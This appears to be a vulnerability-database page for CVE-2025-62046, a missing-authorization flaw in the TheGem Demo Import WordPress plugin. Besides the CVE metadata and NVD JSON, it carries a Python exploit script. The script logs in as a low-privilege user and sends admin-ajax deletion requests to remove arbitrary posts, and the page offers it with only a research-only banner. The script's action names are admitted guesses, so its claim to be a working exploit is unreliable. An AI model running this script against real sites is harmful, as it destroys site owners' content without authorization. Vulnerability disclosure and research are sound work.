Security Vulnerability Report
中文
CVE-2025-62046 CVSS 6.5 MEDIUM

CVE-2025-62046

Published: 2025-11-06 16:16:11
Last Modified: 2026-04-27 18:16:24

Description

Missing Authorization vulnerability in CodexThemes TheGem Demo Import (for WPBakery) thegem-importer.This issue affects TheGem Demo Import (for WPBakery): from n/a through <= 5.10.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

TheGem Demo Import (for WPBakery) <= 5.10.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62046 PoC - TheGem Demo Import Authorization Bypass # Target: WordPress site with TheGem Demo Import plugin <= 5.10.5 def exploit_deletion(target_url, username, password, post_id): """ Exploit authorization bypass in TheGem Demo Import plugin to delete arbitrary content without proper privileges. Args: target_url: Base URL of WordPress site username: Valid low-privilege user account password: Password for the account post_id: ID of post/page to delete """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Exploit authorization bypass to delete content ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Multiple potential action names based on plugin functionality actions = [ 'thegem_importer_delete_posts', 'thegem_importer_delete_content', 'thegem_delete_demo_content' ] for action in actions: exploit_data = { 'action': action, 'post_id': post_id, 'delete_all': '0' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[+] Sent deletion request with action: {action}") print(f"[*] Response: {response.text[:200]}") # Step 3: Verify deletion check_url = f"{target_url}/?p={post_id}" response = session.get(check_url) if response.status_code == 404 or 'Page not found' in response.text: print(f"[+] Successfully deleted post ID: {post_id}") return True else: print(f"[-] Post may not have been deleted") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <post_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] pid = sys.argv[4] exploit_deletion(target, user, pwd, pid)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62046", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:11.123", "lastModified": "2026-04-27T18:16:24.397", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in CodexThemes TheGem Demo Import (for WPBakery) thegem-importer.This issue affects TheGem Demo Import (for WPBakery): from n/a through <= 5.10.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/thegem-importer/vulnerability/wordpress-thegem-demo-import-for-wpbakery-plugin-5-10-5-arbitrary-content-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}